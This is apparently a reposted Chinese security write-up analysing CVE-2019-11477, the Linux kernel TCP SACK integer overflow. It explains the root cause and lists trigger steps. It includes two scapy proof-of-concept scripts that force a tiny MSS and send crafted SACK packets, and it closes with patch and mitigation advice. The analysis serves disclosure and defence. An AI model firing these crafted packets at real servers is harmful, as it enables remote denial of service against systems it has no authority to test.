CVE-2019-11477:Linux 内核中TCP协议栈整数溢出漏洞详细分析

栏目: 编程工具 · 发布时间: 5年前

内容简介:罗权、于长奇@代码安全实验室2019年6月18日,RedHat官网发布CVE编号为CVE-2019-11477的漏洞,此漏洞是一个底层协议栈的整数溢出漏洞,影响Linux 内核2.6.29及以上版本,理论上可以造成远程拒绝服务漏洞。经过我们团队分析验证,在实际环境中很难触发此漏洞,所以在实际环境中此漏洞危害没那么大。

CVE-2019-11477:Linux 内核中TCP协议栈整数溢出漏洞详细分析

罗权、于长奇@代码安全实验室

漏洞概述

2019年6月18日,RedHat官网发布CVE编号为CVE-2019-11477的漏洞,此漏洞是一个底层协议栈的整数溢出漏洞,影响 Linux 内核2.6.29及以上版本,理论上可以造成远程拒绝服务漏洞。经过我们团队分析验证,在实际环境中很难触发此漏洞,所以在实际环境中此漏洞危害没那么大。

漏洞原理

该漏洞是一个位于skb_buff结构体上tcp_gso_segs成员的整数溢出漏洞。linux kernel数据包文以skb_buff结构体表示,内核为提升发包效率提供了NETIF_F_SG(默认开启)、NETIF_F_UFO等功能,当发送报文时,将会将小报文以类似分片形式累积,累积为大报文统一发送,由网卡硬件进行分片。此时报文累积最大长度为32k(x86)或者64k(powerpc)。代码中,小报文积累队列成员为skb_buff结构体的tcp_skb_cb对象,其中tcp_gso_segs成员是个short unsight int 类型成员,代表小报文个数。

\linux\net\ipv4\tcp.c    

if (can_coalesce) {

                            skb_frag_size_add(&skb_shinfo(skb)->frags[i - 1], copy);

                   } else {

                            get_page(page);

                            skb_fill_page_desc(skb, i, page, offset, copy);

                   }



linux/include/linux/skbuff.h
struct tcp_skb_cb {
__u32 seq; /* Starting sequence number */
__u32 end_seq; /* SEQ + FIN + SYN + datalen */
__u32 tcp_tw_isn;
struct {
u16 tcp_gso_segs;
u16 tcp_gso_size; 
};
__u8 tcp_flags; /2* TCP header flags. (tcp[13]) */
…
}

通常,TCP协议为避免分片带来的性能损失,提供了mss协商机制,通过在握手过程中提供双方mtu值,协商双方报文的最大报文长度,发送提供各自的mss长度,双方选取最小的mss值为最大报文长度,此后,双方报文的最大长度将不会超过协商得出的mss值。如果要漏洞出发,发送方在握手时将mss值强制置为8(mss协商最小值为48-最大tcp报头长度=8)。即接收方在和握手方握手时,将mss值设置为8即可。

TCP-MSS,全称TCP maximum segment size。翻译过来是TCP最大报文尺寸。它的值代表TCP传输层期望对端发送给自己单个TCP报文的最大尺寸。

TCP协议中,当TCP协议两端在初始协商进行TCP三次握手协议的时候,主机两端会把自己当前所在链路的MSS值告知对方。当一端主机收到另外一端的MSS值候,它会评估其MSS值并与自己的MSS值做对比,取最小的值来决定TCP发送的最大报文尺寸。

如何计算本地MSS值?本地MSS=MTU-20字节的标准IP头-20字节的标准TCP头(换个角度看其实就是TCP负载)

另外一个相关的是linux的sack机制。在RFC的描述中,当TCP报文乱序到达时,TCP接收端会要求发送端连未能按照顺序发送的报文也重新发送,为改进TCP协议的发包效率,TCP提供了sack机制(自linux kernel 2.6.29以后提供了sack机制的实现),当接收方向发送方要求重传时,重传报文将会进入tcp_sendmsg函数的tcp_gso_segs机制中,以分片的形式积累报文碎片,在skb_buff结构体中最多接受17个分片队列,在恶意会话的接收过程中,接收方可以不断地要求发送方重传,即接受方不断向发送方发送sack报文,发送方接收到sack报文后,将重新发送报文。

linux/include/linux/skbuff.h
define MAX_SKB_FRAGS (65536/PAGE_SIZE + 1) => 17

此时一个skb_buff结构体最多可以由17*32*1024%8=69632个报文碎片积累而成,而69632超过了tcp_gso_segs成员(无符号短整型)的最大值65535,将导致整数溢出,最终在tcp_shifted_skb函数中触发崩溃.

linux\net\ipv4\tcp_input.c

static bool tcp_shifted_skb (struct sock *sk, …, unsigned int pcount, ...)

{

...

tcp_skb_pcount_add(prev, pcount);

BUG_ON(tcp_skb_pcount(skb) < pcount); <= SACK panic

tcp_skb_pcount_add(skb, -pcount);

…

}

漏洞触发步骤:

1,客户端连接服务端(同时三次握手过程中强制设置接受mss最大值为8)

2,客户端诱导服务端发送超长报文给客户端,贴近最大允许长度32k

3,客户端不断发送重传要求,服务端重复发送17次报文填满skb分片队列,导致tcp_gso_segs变量整数溢出,导致服务器远程拒绝服务。

漏洞验证

要成功构造poc报文,实际需要做到以下三点:

第一:诱骗服务端发送一次性发送接近32k大小TCP报文。通过服务器下载文件时(linux内核调用tcp_sendpage不走tcp_sendmsg调用可以逼近报文极限值,需要超过31k大小,实际情况是比较罕见的),发现http服务器将客户端get的数据合并,逼近32k大小数据下发到客户端,这一步是可以做到的,在TCP层,tcp_sendpage函数大概率可以做到一次下发超过31k大小的报文。

while (size > 0) {
                               struct sk_buff *skb = tcp_write_queue_tail(sk);
                               int copy, i;
                               bool can_coalesce;
 
                               if (!tcp_send_head(sk) || (copy = size_goal - skb->len) <= 0 ||
                                   !tcp_skb_can_collapse_to(skb)) {
new_segment:
                                              if (!sk_stream_memory_free(sk))
                                                             goto wait_for_sndbuf;
 
                                              skb = sk_stream_alloc_skb(sk, 0, sk->sk_allocation,
                                                                                              skb_queue_empty(&sk->sk_write_queue));
                                              if (!skb)
                                                             goto wait_for_memory;
 
                                              skb_entail(sk, skb);
                                              copy = size_goal;
                               }
 
                               if (copy > size)
                                              copy = size;
 
                               i = skb_shinfo(skb)->nr_frags;
                               can_coalesce = skb_can_coalesce(skb, i, page, offset);
                               if (!can_coalesce && i >= sysctl_max_skb_frags) {
                                              tcp_mark_push(tp, skb);
                                              goto new_segment;
                               }
                               if (!sk_wmem_schedule(sk, copy))
                                              goto wait_for_memory;
 
                               if (can_coalesce) {
                                              skb_frag_size_add(&skb_shinfo(skb)->frags[i - 1], copy);
                               } else {
                                              get_page(page);
                                              skb_fill_page_desc(skb, i, page, offset, copy);
                               }

第二,将TCP报文的实际荷载设置8字节(mss设置为最小值48,TCP选项头设置为40字节,48-40=8)。此步实际情况是不默认,正常情况下是无法协商成功,客户端发起的mss协商,默认情况下服务端将不会认可,默认发行版linux系统都开启TSO(TCP Segment Offload)技术,为了尽可能发挥网卡性能,网卡会不断尝试扩大mss的值,当我们将mss协商成功为48时,很快TSO会将mss恢复为1460.所以实际攻击链条在此时已经被打断。

CVE-2019-11477:Linux 内核中TCP协议栈整数溢出漏洞详细分析

而且在我们测试将服务端发给我们的TCP数据包的TCP选项头设为40,通过要求服务端数据包附带时间戳选项,可以使TCP选项头拥有12字节选项长度,如果需要更长的选项头,需要一些特殊的TCP选项,如md5选项,但TCP的md5选项需要重新编译内核,发行版不带md5选项

在默认情况下我们只做到了通过客户端设置服务端报文12字节长度的TCP选项头长度设置

  • 对服务端发送sack报文,指定特定报文重传。我们在对服务端进行指定字节序列的报文重传时发现,我们无法做到累加重传报文,在漏洞分析中,我们提到,我们需要使重传报文累计到超过65535导致整数溢出,但是实际测试过程中发现,TCP的重传实在过于迅速,我们的发包速度根本不够服务端的gso机制生效累计积累超过65535个报文,我的最大累计此时30余次,服务端收到sack后累积重传报文,收到ack后或其余机制释放累积。请注意下图的报文序号,第27个报文请求指定重传,第28个报文重传指定报文,29个报文立刻发送正确顺序的报文,第27个报文和第29个报文直接的时间实在过于短暂,可以通过并发分布式攻击可以做到重传报文累计超过65535次。

其他尝试:

由于此漏洞的主要瑕疵在于mss协商机制启用非默认,我们曾经尝试绕过linux kernel的mss协商机制对服务端发起进攻,尝试使用sack报文告诉服务端我们只缺少8字节长度(报文原长48字节情况下),此时服务端回复的报文并没有只给我们8个字节长度的报文,而是把所缺少的报文所属的报文(48字节长度)发回给我们,绕过尝试失败。

最终我们认定此漏洞实际危害不大。

测试代码:

我们使用的是 python 的scapy库进行伪造客户端与服务端进行通信

Sack部分测试代码:

from scapy.all import *

import time

i=IP()

i.dst="192.168.124.144"

t=TCP()

t.dport=8887

t.flags="S"

t.options=[('MSS',18),('SAckOK', '')]



#sr1(i/t)

SYNACK=sr1(i/t)

seq_num=int(SYNACK.seq)



# ACK

ACK=TCP( dport=8887, flags='A', seq=SYNACK.ack, ack=SYNACK.seq + 1)

send(i/ACK)

print seq_num

#SACK=TCP(dport=8887,flags='A',seq=SYNACK.ack, ack=SYNACK.seq + 1)

time.sleep(1)

SACK=TCP(dport=8887,flags='A',seq=SYNACK.ack , ack=SYNACK.seq + 1+0x30*2)

#print SACK.seq

num=3

SACK.options=[('SAck',(SYNACK.seq+1+0x30*3 ,SYNACK.seq+1+0x30*4 ))]

send(i/SACK)

#while num<=100:

#    SACK.options=[('SAck',(seq+1+0x30+0x30*num ,seq+1+0x30  +0x30*(num+1)))]

#    send(i/SACK)

#    num=num+1

#    if num==99:

#        num=3

time.sleep( 500 )

Mss部分测试代码:

from scapy.all import *

import time





i=IP()

i.dst="192.168.216.145"

t=TCP()

t.sport=3333

t.dport=8887

t.flags="S"

t.options=[('MSS',48),('SAckOK', ''),('Timestamp',(111,222))]



#sr1(i/t)

SYNACK=sr1(i/t)

seq=int(SYNACK.seq)

# ACK

ACK=TCP(sport=3333, dport=8887, flags='A', seq=SYNACK.ack, ack=SYNACK.seq + 1)

ACK.options=[('Timestamp',(222,333))]

send(i/ACK)

print ACK.seq

#SACK=TCP(dport=8887,flags='A',seq=SYNACK.ack, ack=SYNACK.seq + 1)

print str(SYNACK.ack)

SACK=TCP(dport=8887,flags='A',seq=SYNACK.ack, ack=SYNACK.seq+1+0x30)

print SACK.seq

SACK.options=[('SAck',(seq+1+0x38 ,seq+1+0x38  +0x30))]

#while True:

time.sleep( 1 )

send(i/SACK)

time.sleep( 500 )

漏洞修复

(1)及时更新补丁

https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001/PATCH_net_1_4.patch

Linux内核版本>=4.14需要打第二个补丁

https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001/PATCH_net_1a.patch

(2)禁用SACK处理

echo 0 > /proc/sys/net/ipv4/tcp_sack

(3)使用过滤器来阻止攻击

https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001/block-low-mss/README.md

此缓解需要禁用TCP探测时有效(即在/etc/sysctl.conf文件中将net.ipv4.tcp_mtu_probingsysctl设置为0)

(4)RedHat用户可以使用以下脚本来检查系统是否存在漏洞

https://access.redhat.com/sites/default/files/cve-2019-11477–2019-06-17-1629.sh


以上所述就是小编给大家介绍的《CVE-2019-11477:Linux 内核中TCP协议栈整数溢出漏洞详细分析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

在线

在线

王坚 / 中信出版集团 / 2018-5-21 / 59.00元

50多万年前的关键词是光明与黑暗, 50多年前的关键词是数字和模拟, 而今天的关键词是在线与离线。 移动互联网是比传统互联网在线程度更深的互联网。对于真正成熟的互联网来说,手机只是诸多的在线设备之一,慢慢地,每一个设备都会变成互联网的终端。 真正的竞争力,是把所有人都可能拥有的东西变成财富,让沙子变成硅。大家都把大数据当作金矿,想要掘金。但在王坚看来,大数据的厉害之处是把沙......一起来看看 《在线》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

在线进制转换器
在线进制转换器

各进制数互转换器